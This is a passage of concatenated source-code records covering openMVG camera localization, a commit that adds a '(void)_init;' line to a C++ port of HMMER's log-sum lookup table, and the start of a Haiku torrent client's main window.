squared error\n  static double Error(const Mat34 & P, const Vec2 & pt2D, const Vec3 & pt3D)\n  {\n    const Vec2 x = Project(P, pt3D);\n    return (x - pt2D).squaredNorm();\n  }\n};\n\nbool SfM_Localizer::Localize\n(\n  const Pair & image_size,\n  const cameras::IntrinsicBase * optional_intrinsics,\n  Image_Localizer_Match_Data & resection_data,\n  geometry::Pose3 & pose,\n  robust::EROBUST_ESTIMATOR estimator\n)\n{\n  \/\/ --\n  \/\/ Compute the camera pose (resectioning)\n  \/\/ --\n  Mat34 P;\n  resection_data.vec_inliers.clear();\n\n  \/\/ Setup the admissible upper bound residual error\n  const double dPrecision =\n    resection_data.error_max == std::numeric_limits<double>::infinity() ?\n    std::numeric_limits<double>::infinity() :\n    Square(resection_data.error_max);\n\n  size_t MINIMUM_SAMPLES = 0;\n  const cameras::Pinhole_Intrinsic * pinhole_cam = dynamic_cast<const cameras::Pinhole_Intrinsic *>(optional_intrinsics);\n  if (pinhole_cam == nullptr || !pinhole_cam->isValid())\n  {\n    \/\/--\n    \/\/ Classic resection (try to compute the entire P matrix)\n    typedef openMVG::resection::kernel::SixPointResectionSolver SolverType;\n    MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n\n    typedef openMVG::robust::ACKernelAdaptorResection<\n      SolverType, ResectionSquaredResidualError, openMVG::robust::UnnormalizerResection, Mat34>\n      KernelType;\n\n    KernelType kernel(resection_data.pt2D, image_size.first, image_size.second,\n      resection_data.pt3D);\n    \/\/ Robust estimation of the Projection matrix and its precision\n    const std::pair<double,double> ACRansacOut =\n      openMVG::robust::ACRANSAC(kernel, resection_data.vec_inliers, resection_data.max_iteration, &P, dPrecision, true);\n    \/\/ Update the upper bound precision of the model found by AC-RANSAC\n    resection_data.error_max = ACRansacOut.first;\n  }\n  else\n  { \n    \/\/ undistort the points if the camera has a distortion model\n    Mat pt2Dundistorted;\n    const bool has_disto = pinhole_cam->have_disto();\n    if(has_disto)\n    {\n      const std::size_t numPts = resection_data.pt2D.cols();\n      pt2Dundistorted = Mat2X(2, numPts);\n      for(std::size_t iPoint = 0; iPoint < numPts; ++iPoint)\n      {\n        pt2Dundistorted.col(iPoint) = pinhole_cam->get_ud_pixel(resection_data.pt2D.col(iPoint));\n      }\n    }\n\n    switch(estimator)\n    {\n      case robust::ROBUST_ESTIMATOR_ACRANSAC:\n      {\n        \/\/--\n        \/\/ Since K calibration matrix is known, compute only [R|t]\n        typedef openMVG::euclidean_resection::P3PSolver SolverType;\n        MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n\n        typedef openMVG::robust::ACKernelAdaptorResection_K<\n                SolverType, ResectionSquaredResidualError,\n                openMVG::robust::UnnormalizerResection, Mat34> KernelType;\n\n        \/\/ otherwise we just pass the input points\n        KernelType kernel = KernelType(has_disto ? pt2Dundistorted : resection_data.pt2D, resection_data.pt3D, pinhole_cam->K());\n\n        \/\/ Robust estimation of the Projection matrix and its precision\n        const std::pair<double, double> ACRansacOut =\n                openMVG::robust::ACRANSAC(kernel, resection_data.vec_inliers, resection_data.max_iteration, &P, dPrecision, true);\n        \/\/ Update the upper bound precision of the model found by AC-RANSAC\n        resection_data.error_max = ACRansacOut.first;\n        break;\n      }\n\n      case robust::ROBUST_ESTIMATOR_LORANSAC:\n      {\n\n        \/\/ just a safeguard\n        if(resection_data.error_max == std::numeric_limits<double>::infinity())\n        {\n          throw std::invalid_argument(\"[SfM_Localizer::Localize] the threshold of the LORANSAC is set to infinity!\");\n        }\n\n        \/\/ use the P3P solver for generating the model\n        typedef openMVG::euclidean_resection::P3PSolver SolverType;\n        MINIMUM_SAMPLES = SolverType::MINIMUM_SAMPLES;\n        \/\/ use the six point algorithm as Least square solution to refine the model\n        typedef openMVG::resection::kernel::SixPointResectionSolver SolverLSType;\n\n        typedef openMVG::robust::KernelAdaptorResectionLORansac_K<SolverType,\n                ResectionSquaredResidualError,\n                openMVG::robust::UnnormalizerResection,\n                SolverLSType,\n                Mat34> KernelType;\n\n        \/\/ otherwise we just pass the input points\n        KernelType kernel = KernelType(has_disto ? pt2Dundistorted : resection_data.pt2D, resection_data.pt3D, pinhole_cam->K());\n\n        \/\/ this is just stupid and ugly, the threshold should be always give as pixel\n        \/\/ value, the scorer should be not aware of the fact that we treat squared errors\n        \/\/ and normalization inside the kernel\n        \/\/ @todo refactor, maybe move scorer directly inside the kernel\n        const double threshold = resection_data.error_max * resection_data.error_max * (kernel.normalizer2()(0, 0) * kernel.normalizer2()(0, 0));\n        robust::ScorerEvaluator<KernelType> scorer(threshold);\n        P = robust::LO_RANSAC(kernel, scorer, &resection_data.vec_inliers);\n        break;\n      }\n\n      default:\n        throw std::runtime_error(\"[SfM_Localizer::Localize] Only ACRansac and LORansac are supported!\");\n    }\n  }\n\n  \/\/ Test if the mode support some points (more than those required for estimation)\n  const bool bResection = (resection_data.vec_inliers.size() > MINIMUM_SAMPLES * OPENMVG_MINIMUM_SAMPLES_COEF);\n#ifdef WANTS_POPART_COUT\n  if (!bResection) \n  {\n    std::cout << \"bResection is false\";\n    std::cout << \" because resection_data.vec_inliers.size() = \" << resection_data.vec_inliers.size();\n    std::cout << \" and MINIMUM_SAMPLES = \" << MINIMUM_SAMPLES << std::endl;\n  }\n#endif\n\n  if (bResection)\n  {\n    resection_data.projection_matrix = P;\n    Mat3 K, R;\n    Vec3 t;\n    KRt_From_P(P, &K, &R, &t);\n    pose = geometry::Pose3(R, -R.transpose() * t);\n  }\n#ifdef WANTS_POPART_COUT\n  std::cout << \"\\n\"\n    << \"-------------------------------\" << \"\\n\"\n    << \"-- Robust Resection \" << \"\\n\"\n    << \"-- Resection status: \" << bResection << \"\\n\"\n    << \"-- #Points used for Resection: \" << resection_data.pt2D.cols() << \"\\n\"\n    << \"-- #Points validated by robust Resection: \" << resection_data.vec_inliers.size() << \"\\n\"\n    << \"-- Threshold: \" << resection_data.error_max << \"\\n\"\n    << \"-------------------------------\" << std::endl;\n#endif\n  return bResection;\n}\n\nbool SfM_Localizer::RefinePose\n(\n  cameras::IntrinsicBase * intrinsics,\n  geometry::Pose3 & pose,\n  const Image_Localizer_Match_Data & matching_data,\n  bool b_refine_pose,\n  bool b_refine_intrinsic\n)\n{\n  \/\/ Setup a tiny SfM scene with the corresponding 2D-3D data\n  SfM_Data sfm_data;\n  \/\/ view\n  sfm_data.views.insert( std::make_pair(0, std::make_shared<View>(\"\",0, 0, 0)));\n  \/\/ pose\n  sfm_data.poses[0] = pose;\n  \/\/ intrinsic (the shared_ptr does not take the ownership, will not release the input pointer)\n  std::shared_ptr<cameras::IntrinsicBase> localIntrinsics(intrinsics->clone());\n  sfm_data.intrinsics[0] = localIntrinsics;\n  \/\/ structure data (2D-3D correspondences)\n  for (size_t i = 0; i < matching_data.vec_inliers.size(); ++i)\n  {\n    const size_t idx = matching_data.vec_inliers[i];\n    Landmark landmark;\n    landmark.X = matching_data.pt3D.col(idx);\n    landmark.obs[0] = Observation(matching_data.pt2D.col(idx), UndefinedIndexT);\n    sfm_data.structure[i] = std::move(landmark);\n  }\n\n  Bundle_Adjustment_Ceres bundle_adjustment_obj;\n  BA_Refine refineOptions = BA_REFINE_NONE;\n  if(b_refine_pose)\n    refineOptions |= BA_REFINE_ROTATION | BA_REFINE_TRANSLATION;\n  if(b_refine_intrinsic)\n    refineOptions |= BA_REFINE_INTRINSICS_ALL;\n\n  const bool b_BA_Status = bundle_adjustment_obj.Adjust(sfm_data, refineOptions);\n  if (!b_BA_Status)\n    return false;\n\n  pose = sfm_data.poses[0];\n  if(b_refine_intrinsic)\n    intrinsics->assign(*localIntrinsics);\n  return true;\n}\n\n} \/\/ namespace sfm\n} \/\/ namespace openMVG\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ logsum -- a port of Sean Eddy's fast table-driven log sum\n\/\/ This code was originally part of HMMER. This version is used with \n\/\/ Sean Eddy's permission as public domain code.\n\/\/\n\/\/ Modification Notice\n\/\/\n\/\/   By: Matei David, Ontario Institute for Cancer Research\n\/\/   When: 2015\n\/\/   Reason:\n\/\/     Reorganized as C++ header-only library,\n\/\/     with implicit lookup table initialization.\n\/\/\n\n\/* p7_FLogsum() function used in the Forward() algorithm.\n * \n * Contents:\n *    1. Floating point log sum.\n *    2. Benchmark driver.\n *    3. Unit tests.\n *    4. Test driver.\n *    5. Example.\n *    6. Copyright and license information.\n *\n * Exegesis:\n * \n * Internally, HMMER3 profile scores are in nats: floating point\n * log-odds probabilities, with the log odds taken relative to\n * background residue frequencies, and the log to the base e.\n * \n * The Forward algorithm needs to calculate sums of probabilities.\n * Given two log probabilities A and B, where s1 = \\log\n * \\frac{a}{f}, and s2 = \\log \\frac{b}{g}, we need to\n * calculate C = \\log \\frac{a + b}{h}.\n * \n * The Forward algorithm guarantees that the null model denominator\n * terms f = g = h, because it is always concerned with summing terms\n * that describe different parses of the same target sequence prefix,\n * and the product of the background frequencies for the same sequence\n * prefix is a constant.\n * \n * The naive solution is C = log(e^{A} + e^{B}), but this requires\n * expensive calls to log() and exp().\n * \n * A better solution is C = A + log(1 + e^{-(A-B)}), for A >= B.  For\n * sufficiently small B << A, e^-{A-B} becomes less than the\n * machine's FLT_EPSILON, and C ~= A. (This is at about (A-B) >\n * -15.9, for the typical FLT_EPSILON of 1.2e-7.)\n * \n * With some loss of accuracy [1], we can precalculate log(1 +\n * e^{-(A-B)}) for a discretized range of differences (A-B), and\n * compute C = A + table_lookup(A-B). This is what HMMER's\n * p7_FLogsum() function does.\n *\n * This only applies to the generic (serial) implementation.\n * See footnote [2] for discussion of why we remain unable to \n * implement an efficient log-space SIMD vector implementation of\n * Forward.\n *\/\n\n#ifndef __LOGSUM_HPP\n#define __LOGSUM_HPP\n\n#include <cassert>\n#include <cmath>\n\n\/* p7_LOGSUM_SCALE defines the precision of the calculation; the\n * default of 1000.0 means rounding differences to the nearest 0.001\n * nat. p7_LOGSUM_TBL defines the size of the lookup table; the\n * default of 16000 means entries are calculated for differences of 0\n * to 16.000 nats (when p7_LOGSUM_SCALE is 1000.0).  e^{-p7_LOGSUM_TBL \/\n * p7_LOGSUM_SCALE} should be on the order of the machine FLT_EPSILON,\n * typically 1.2e-7.\n *\/\n#define p7_LOGSUM_TBL   16000\n#define p7_LOGSUM_SCALE 1000.f\n#define ESL_MAX(a,b)    (((a)>(b))?(a):(b))\n#define ESL_MIN(a,b)    (((a)<(b))?(a):(b))\n#define eslINFINITY     INFINITY\n#define TRUE            1\n#define FALSE           0\n#define eslOK           1\n\nnamespace logsum\n{\n\nstruct p7_FLogsum_Helper\n{\n    \/* Function:  flogsum_lookup()\n     * Synposis:  Holds the main lookup table used in logspace sum computations.\n     *\n     * Purpose:   Encapsulate static array inside a function to avoid the need for a separate definition.\n     *\/\n    static inline float*\n    flogsum_lookup(void)\n    {\n        static float _flogsum_lookup[p7_LOGSUM_TBL]; \/* p7_LOGSUM_TBL=16000: (A-B) = 0..16 nats, steps of 0.001 *\/\n        return _flogsum_lookup;\n    }\n\n    \/* Function:  p7_FLogsumInit()\n     * Synopsis:  Initialize the p7_Logsum() function.\n     *\n     * Purpose:   Initialize the lookup table for <p7_FLogsum()>. \n     *            This function must be called once before any\n     *            call to <p7_FLogsum()>.\n     *            \n     *            The precision of the lookup table is determined\n     *            by the compile-time <p7_LOGSUM_TBL> constant.\n     *\n     * Returns:   <eslOK> on success.\n     *\/\n    static int\n    p7_FLogsumInit(void)\n    {\n        static int firsttime = TRUE;\n        if (!firsttime) return eslOK;\n        firsttime = FALSE;\n\n        int i;\n        for (i = 0; i < p7_LOGSUM_TBL; i++)\n        {\n            flogsum_lookup()[i] = std::log(1. + std::exp((double) -i \/ p7_LOGSUM_SCALE));\n        }\n\n        return eslOK;\n    }\n\n    \/* Function:  p7_FLogsum()\n     * Synopsis:  Approximate $\\log(e^a + e^b)$.\n     *\n     * Purpose:   Returns a fast table-driven approximation to\n     *            $\\log(e^a + e^b)$.\n     *            \n     *            Either <a> or <b> (or both) may be $-\\infty$,\n     *            but neither may be $+\\infty$ or <NaN>.\n     *\n     * Note:      This function is a critical optimization target, because\n     *            it's in the inner loop of generic Forward() algorithms.\n     *\/\n    static inline float\n    p7_FLogsum(float a, float b)\n    {\n        \/\/ static object whose constructor initializes the lookup table\n        static Table_Initializer _init;\n\n        const float max = ESL_MAX(a, b);\n        const float min = ESL_MIN(a, b);\n\n        return (min == -eslINFINITY || (max-min) >= 15.7f)\n            ? max\n            : max + flogsum_lookup()[(int)((max-min)*p7_LOGSUM_SCALE)];\n    }\n\n    \/* Function:  p7_FLogsumError()\n     * Synopsis:  Compute absolute error in probability from Logsum.\n     *\n     * Purpose:   Compute the absolute error in probability space\n     *            resulting from <p7_FLogsum()>'s table lookup \n     *            approximation: approximation result - exact result.\n     *                                                  \n     *            This is of course computable analytically for\n     *            any <a,b> given <p7_LOGSUM_TBL>; but the function\n     *            is useful for some routines that want to determine\n     *            if <p7_FLogsum()> has been compiled in its\n     *            exact slow mode for debugging purposes. Testing\n     *            <p7_FLogsumError(-0.4, -0.5) > 0.0001>\n     *            for example, suffices to detect that the function\n     *            is compiled in its fast approximation mode given\n     *            the defaults. \n     *\/\n    static float\n    p7_FLogsumError(float a, float b)\n    {\n        float approx = p7_FLogsum(a,b);\n        float exact  = std::log(std::exp(a) + std::exp(b));\n        return (std::exp(approx) - std::exp(exact));\n    }\n\n    \/* Struct:  Table_Initializer\n     * Purpose: Initialize the lookup table on construction.\n     *\n     *\/\n    struct Table_Initializer\n    {\n        Table_Initializer()\n        {\n            p7_FLogsumInit();\n        }\n    }; \/\/ struct Table_Initializer\n}; \/\/ struct p7_FLogsum_Helper\n\n\/*\n * Publish main methods outside of the helper struct.\n *\/\ninline float p7_FLogsum(float a, float b) { return p7_FLogsum_Helper::p7_FLogsum(a, b); }\ninline float p7_FLogsumError(float a, float b) { return p7_FLogsum_Helper::p7_FLogsumError(a, b); }\n\n} \/\/ namespace logsum\n\n#endif\n\n#ifdef SAMPLE_p7LOGSUM\n\n\/*\n\ng++ -std=c++11 -DSAMPLE_p7LOGSUM -x c++ logsum.hpp -o sample-logsum\n\n*\/\n\n#include <iostream>\n#include <sstream>\n\nusing namespace std;\nusing namespace logsum;\n\nint main(int argc, char* argv[])\n{\n    if (argc != 3)\n    {\n        cerr << \"use: \" << argv[0] << \" <a> <b>\" << endl;\n        return EXIT_FAILURE;\n    }\n\n    float a;\n    float b;\n    float result;\n\n    istringstream(argv[1]) >> a;\n    istringstream(argv[2]) >> b;\n\n    result = p7_FLogsum(a, b);\n    cout << \"p7_FLogsum(\" << a << \", \" << b << \") = \" << result << endl;\n\n    result = log(exp(a) + exp(b));\n    cout << \"log(exp(\" << a << \") + exp(\" << b << \")) = \" << result << endl;\n\n    cout << \"Absolute error in probability: \" << p7_FLogsumError(a, b) << endl;\n}\n\n#endif\n\n#ifdef BENCHMARK_p7LOGSUM\n\n\/*\n\nCompare with the original logsum.{h,cpp} (not included in this repo).\nAssuming they are in \/somedir.\n\nCompile:\nDIR=\/somedir; g++ -std=c++11 -DBENCHMARK_p7LOGSUM -x c++ -I${DIR} logsum.hpp ${DIR}\/logsum.cpp -o benchmark-logsum\n\nRun:\n.\/benchmark-logsum 42 0\n.\/benchmark-logsum 42 1\n\n*\/\n\n#include <chrono>\n#include <iostream>\n#include <random>\n#include <set>\n#include <sstream>\n#include <vector>\n\n#include \"logsum.h\"\n\nusing namespace std;\n\nint main(int argc, char* argv[])\n{\n    if (argc < 3)\n    {\n        cerr << \"use: \" << argv[0] << \" <seed> <version>\" << endl\n             << \"where <version> is 0 for old, 1 for new\" << endl;\n        return EXIT_FAILURE;\n    }\n    size_t seed = 0;\n    unsigned version = 0;\n    istringstream(argv[1]) >> seed;\n    istringstream(argv[2]) >> version;\n    if (seed == 0)\n    {\n        seed = chrono::high_resolution_clock::now().time_since_epoch().count();\n    }\n    clog << \"seed: \" << seed << endl;\n    clog << \"version: \" << version << endl;\n    const unsigned n = 1000000;\n    set< float > s;\n    mt19937 rg(seed);\n    uniform_real_distribution< float > unif;\n    for (unsigned i = 0; i < n; ++i)\n    {\n        s.insert(unif(rg));\n    }\n    p7_FLogsumInit();\n\n    \/\/ start timer\n    auto start_time = chrono::high_resolution_clock::now();\n\n    if (version == 0)\n    {\n        while (s.size() > 1)\n        {\n            float a = *s.begin();\n            s.erase(s.begin());\n            float b = *s.begin();\n            s.erase(s.begin());\n            s.insert(::p7_FLogsum(a, b));\n        }\n    }\n    else if (version == 1)\n    {\n        while (s.size() > 1)\n        {\n            float a = *s.begin();\n            s.erase(s.begin());\n            float b = *s.begin();\n            s.erase(s.begin());\n            s.insert(logsum::p7_FLogsum(a, b));\n        }\n    }\n\n    \/\/ end timer\n    auto end_time = chrono::high_resolution_clock::now();\n\n    cout << \"time: \" << chrono::duration_cast< chrono::milliseconds >(end_time - start_time).count() << endl\n         << \"result: \" << *s.begin() << endl;\n}\n\n#endif\n<commit_msg>force initializer to be marked as used<commit_after>\/\/\n\/\/ logsum -- a port of Sean Eddy's fast table-driven log sum\n\/\/ This code was originally part of HMMER. This version is used with \n\/\/ Sean Eddy's permission as public domain code.\n\/\/\n\/\/ Modification Notice\n\/\/\n\/\/   By: Matei David, Ontario Institute for Cancer Research\n\/\/   When: 2015\n\/\/   Reason:\n\/\/     Reorganized as C++ header-only library,\n\/\/     with implicit lookup table initialization.\n\/\/\n\n\/* p7_FLogsum() function used in the Forward() algorithm.\n * \n * Contents:\n *    1. Floating point log sum.\n *    2. Benchmark driver.\n *    3. Unit tests.\n *    4. Test driver.\n *    5. Example.\n *    6. Copyright and license information.\n *\n * Exegesis:\n * \n * Internally, HMMER3 profile scores are in nats: floating point\n * log-odds probabilities, with the log odds taken relative to\n * background residue frequencies, and the log to the base e.\n * \n * The Forward algorithm needs to calculate sums of probabilities.\n * Given two log probabilities A and B, where s1 = \\log\n * \\frac{a}{f}, and s2 = \\log \\frac{b}{g}, we need to\n * calculate C = \\log \\frac{a + b}{h}.\n * \n * The Forward algorithm guarantees that the null model denominator\n * terms f = g = h, because it is always concerned with summing terms\n * that describe different parses of the same target sequence prefix,\n * and the product of the background frequencies for the same sequence\n * prefix is a constant.\n * \n * The naive solution is C = log(e^{A} + e^{B}), but this requires\n * expensive calls to log() and exp().\n * \n * A better solution is C = A + log(1 + e^{-(A-B)}), for A >= B.  For\n * sufficiently small B << A, e^-{A-B} becomes less than the\n * machine's FLT_EPSILON, and C ~= A. (This is at about (A-B) >\n * -15.9, for the typical FLT_EPSILON of 1.2e-7.)\n * \n * With some loss of accuracy [1], we can precalculate log(1 +\n * e^{-(A-B)}) for a discretized range of differences (A-B), and\n * compute C = A + table_lookup(A-B). This is what HMMER's\n * p7_FLogsum() function does.\n *\n * This only applies to the generic (serial) implementation.\n * See footnote [2] for discussion of why we remain unable to \n * implement an efficient log-space SIMD vector implementation of\n * Forward.\n *\/\n\n#ifndef __LOGSUM_HPP\n#define __LOGSUM_HPP\n\n#include <cassert>\n#include <cmath>\n\n\/* p7_LOGSUM_SCALE defines the precision of the calculation; the\n * default of 1000.0 means rounding differences to the nearest 0.001\n * nat. p7_LOGSUM_TBL defines the size of the lookup table; the\n * default of 16000 means entries are calculated for differences of 0\n * to 16.000 nats (when p7_LOGSUM_SCALE is 1000.0).  e^{-p7_LOGSUM_TBL \/\n * p7_LOGSUM_SCALE} should be on the order of the machine FLT_EPSILON,\n * typically 1.2e-7.\n *\/\n#define p7_LOGSUM_TBL   16000\n#define p7_LOGSUM_SCALE 1000.f\n#define ESL_MAX(a,b)    (((a)>(b))?(a):(b))\n#define ESL_MIN(a,b)    (((a)<(b))?(a):(b))\n#define eslINFINITY     INFINITY\n#define TRUE            1\n#define FALSE           0\n#define eslOK           1\n\nnamespace logsum\n{\n\nstruct p7_FLogsum_Helper\n{\n    \/* Function:  flogsum_lookup()\n     * Synposis:  Holds the main lookup table used in logspace sum computations.\n     *\n     * Purpose:   Encapsulate static array inside a function to avoid the need for a separate definition.\n     *\/\n    static inline float*\n    flogsum_lookup(void)\n    {\n        static float _flogsum_lookup[p7_LOGSUM_TBL]; \/* p7_LOGSUM_TBL=16000: (A-B) = 0..16 nats, steps of 0.001 *\/\n        return _flogsum_lookup;\n    }\n\n    \/* Function:  p7_FLogsumInit()\n     * Synopsis:  Initialize the p7_Logsum() function.\n     *\n     * Purpose:   Initialize the lookup table for <p7_FLogsum()>. \n     *            This function must be called once before any\n     *            call to <p7_FLogsum()>.\n     *            \n     *            The precision of the lookup table is determined\n     *            by the compile-time <p7_LOGSUM_TBL> constant.\n     *\n     * Returns:   <eslOK> on success.\n     *\/\n    static int\n    p7_FLogsumInit(void)\n    {\n        static int firsttime = TRUE;\n        if (!firsttime) return eslOK;\n        firsttime = FALSE;\n\n        int i;\n        for (i = 0; i < p7_LOGSUM_TBL; i++)\n        {\n            flogsum_lookup()[i] = std::log(1. + std::exp((double) -i \/ p7_LOGSUM_SCALE));\n        }\n\n        return eslOK;\n    }\n\n    \/* Function:  p7_FLogsum()\n     * Synopsis:  Approximate $\\log(e^a + e^b)$.\n     *\n     * Purpose:   Returns a fast table-driven approximation to\n     *            $\\log(e^a + e^b)$.\n     *            \n     *            Either <a> or <b> (or both) may be $-\\infty$,\n     *            but neither may be $+\\infty$ or <NaN>.\n     *\n     * Note:      This function is a critical optimization target, because\n     *            it's in the inner loop of generic Forward() algorithms.\n     *\/\n    static inline float\n    p7_FLogsum(float a, float b)\n    {\n        \/\/ static object whose constructor initializes the lookup table\n        static Table_Initializer _init;\n        (void)_init;\n\n        const float max = ESL_MAX(a, b);\n        const float min = ESL_MIN(a, b);\n\n        return (min == -eslINFINITY || (max-min) >= 15.7f)\n            ? max\n            : max + flogsum_lookup()[(int)((max-min)*p7_LOGSUM_SCALE)];\n    }\n\n    \/* Function:  p7_FLogsumError()\n     * Synopsis:  Compute absolute error in probability from Logsum.\n     *\n     * Purpose:   Compute the absolute error in probability space\n     *            resulting from <p7_FLogsum()>'s table lookup \n     *            approximation: approximation result - exact result.\n     *                                                  \n     *            This is of course computable analytically for\n     *            any <a,b> given <p7_LOGSUM_TBL>; but the function\n     *            is useful for some routines that want to determine\n     *            if <p7_FLogsum()> has been compiled in its\n     *            exact slow mode for debugging purposes. Testing\n     *            <p7_FLogsumError(-0.4, -0.5) > 0.0001>\n     *            for example, suffices to detect that the function\n     *            is compiled in its fast approximation mode given\n     *            the defaults. \n     *\/\n    static float\n    p7_FLogsumError(float a, float b)\n    {\n        float approx = p7_FLogsum(a,b);\n        float exact  = std::log(std::exp(a) + std::exp(b));\n        return (std::exp(approx) - std::exp(exact));\n    }\n\n    \/* Struct:  Table_Initializer\n     * Purpose: Initialize the lookup table on construction.\n     *\n     *\/\n    struct Table_Initializer\n    {\n        Table_Initializer()\n        {\n            p7_FLogsumInit();\n        }\n    }; \/\/ struct Table_Initializer\n}; \/\/ struct p7_FLogsum_Helper\n\n\/*\n * Publish main methods outside of the helper struct.\n *\/\ninline float p7_FLogsum(float a, float b) { return p7_FLogsum_Helper::p7_FLogsum(a, b); }\ninline float p7_FLogsumError(float a, float b) { return p7_FLogsum_Helper::p7_FLogsumError(a, b); }\n\n} \/\/ namespace logsum\n\n#endif\n\n#ifdef SAMPLE_p7LOGSUM\n\n\/*\n\ng++ -std=c++11 -DSAMPLE_p7LOGSUM -x c++ logsum.hpp -o sample-logsum\n\n*\/\n\n#include <iostream>\n#include <sstream>\n\nusing namespace std;\nusing namespace logsum;\n\nint main(int argc, char* argv[])\n{\n    if (argc != 3)\n    {\n        cerr << \"use: \" << argv[0] << \" <a> <b>\" << endl;\n        return EXIT_FAILURE;\n    }\n\n    float a;\n    float b;\n    float result;\n\n    istringstream(argv[1]) >> a;\n    istringstream(argv[2]) >> b;\n\n    result = p7_FLogsum(a, b);\n    cout << \"p7_FLogsum(\" << a << \", \" << b << \") = \" << result << endl;\n\n    result = log(exp(a) + exp(b));\n    cout << \"log(exp(\" << a << \") + exp(\" << b << \")) = \" << result << endl;\n\n    cout << \"Absolute error in probability: \" << p7_FLogsumError(a, b) << endl;\n}\n\n#endif\n\n#ifdef BENCHMARK_p7LOGSUM\n\n\/*\n\nCompare with the original logsum.{h,cpp} (not included in this repo).\nAssuming they are in \/somedir.\n\nCompile:\nDIR=\/somedir; g++ -std=c++11 -DBENCHMARK_p7LOGSUM -x c++ -I${DIR} logsum.hpp ${DIR}\/logsum.cpp -o benchmark-logsum\n\nRun:\n.\/benchmark-logsum 42 0\n.\/benchmark-logsum 42 1\n\n*\/\n\n#include <chrono>\n#include <iostream>\n#include <random>\n#include <set>\n#include <sstream>\n#include <vector>\n\n#include \"logsum.h\"\n\nusing namespace std;\n\nint main(int argc, char* argv[])\n{\n    if (argc < 3)\n    {\n        cerr << \"use: \" << argv[0] << \" <seed> <version>\" << endl\n             << \"where <version> is 0 for old, 1 for new\" << endl;\n        return EXIT_FAILURE;\n    }\n    size_t seed = 0;\n    unsigned version = 0;\n    istringstream(argv[1]) >> seed;\n    istringstream(argv[2]) >> version;\n    if (seed == 0)\n    {\n        seed = chrono::high_resolution_clock::now().time_since_epoch().count();\n    }\n    clog << \"seed: \" << seed << endl;\n    clog << \"version: \" << version << endl;\n    const unsigned n = 1000000;\n    set< float > s;\n    mt19937 rg(seed);\n    uniform_real_distribution< float > unif;\n    for (unsigned i = 0; i < n; ++i)\n    {\n        s.insert(unif(rg));\n    }\n    p7_FLogsumInit();\n\n    \/\/ start timer\n    auto start_time = chrono::high_resolution_clock::now();\n\n    if (version == 0)\n    {\n        while (s.size() > 1)\n        {\n            float a = *s.begin();\n            s.erase(s.begin());\n            float b = *s.begin();\n            s.erase(s.begin());\n            s.insert(::p7_FLogsum(a, b));\n        }\n    }\n    else if (version == 1)\n    {\n        while (s.size() > 1)\n        {\n            float a = *s.begin();\n            s.erase(s.begin());\n            float b = *s.begin();\n            s.erase(s.begin());\n            s.insert(logsum::p7_FLogsum(a, b));\n        }\n    }\n\n    \/\/ end timer\n    auto end_time = chrono::high_resolution_clock::now();\n\n    cout << \"time: \" << chrono::duration_cast< chrono::milliseconds >(end_time - start_time).count() << endl\n         << \"result: \" << *s.begin() << endl;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/\tCopyright (c) 2012, Guido Pola.\n\/\/\n\/\/\tPermission is hereby granted, free of charge, to any person obtaining a\n\/\/\tcopy of this software and associated documentation files (the \"Software\"),\n\/\/\tto deal in the Software without restriction, including without limitation\n\/\/\tthe rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/\tand\/or sell copies of the Software, and to permit persons to whom the\n\/\/\tSoftware is furnished to do so, subject to the following conditions:\n\/\/\n\/\/\tThe above copyright notice and this permission notice shall be included in\n\/\/\tall copies or substantial portions of the Software.\n\/\/\n\/\/\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/\tIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/\tFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/\tAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/\tLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/\tDEALINGS IN THE SOFTWARE.\n\/\/\n\/\/\tFile Name:\t\tMainWindow.cpp\n\/\/\tAuthors:\t\tGuido Pola <prodito@live.com>\n\/\/\tDescription:\t\n\/\/------------------------------------------------------------------------------\n\n\n#include \"Torrentor.h\"\n#include \"TorrentorMessages.h\"\n\n#include <Autolock.h>\n#include <Application.h>\n#include <MenuBar.h>\n#include <Menu.h>\n#include <MenuItem.h>\n\n#include <StatusBar.h>\n#include <StringView.h>\n#include <ScrollView.h>\n\n#include <Notification.h>\n#include <Roster.h>\n\n#include <ListView.h>\n#include <ListItem.h>\n\n#include <assert.h>\n\n#include \"MainWindow.h\"\n\n\n#include \"ToolBar.h\"\n\n#include <GroupLayout.h>\n#include <GroupLayoutBuilder.h>\n\n#include <ControlLook.h>\n\n\n#include \"TorrentRefFilter.h\"\n\n#include <SpaceLayoutItem.h>\n\n#include \"IconView.h\"\n#include \"DownloadView.h\"\n#include \"DownloadItem.h\"\n\n#include \"InfoWindow.h\"\n\n\n#include \"PreferencesWindow.h\"\n\n#include <Alert.h>\n\n\nenum \n{\n\tMENU_FILE_OPEN_TORRENT\t\t= 0x400000,\n\tMENU_FILE_OPEN_TORRENT_URL,\n\tMENU_EDIT_PREFERENCES,\n\tMENU_TORRENT_INSPECT,\n\tMENU_TORRENT_OPEN_DOWNLOAD,\n\tMENU_TORRENT_REMOVE,\n};\n\n\n\n\n\n\nMainWindow::MainWindow(BRect frame) \n\t: BWindow(frame, \"Torrentor!\", B_DOCUMENT_WINDOW, \n\t\t\t  B_AUTO_UPDATE_SIZE_LIMITS |\n\t\t\t  B_ASYNCHRONOUS_CONTROLS | \n\t\t\t  B_NOT_ZOOMABLE )\n{\n\tSetPulseRate(1000000);\n\t\n\t\/\/\n\t\/\/\n\t\/\/\n\tSetLayout(new BGroupLayout(B_VERTICAL, 0.0));\n\t\n\tCreateMenuBar();\n\t\n\t\n\tfDownloadView \t= new DownloadView;\n\t\n\t\n\/\/\tBStringView* fStatusText = new BStringView(\"status\", \"Laralala\");\n\/\/\tfStatusText->SetAlignment(B_ALIGN_LEFT);\n\/\/\tfStatusText->SetExplicitMaxSize(BSize(B_SIZE_UNLIMITED, 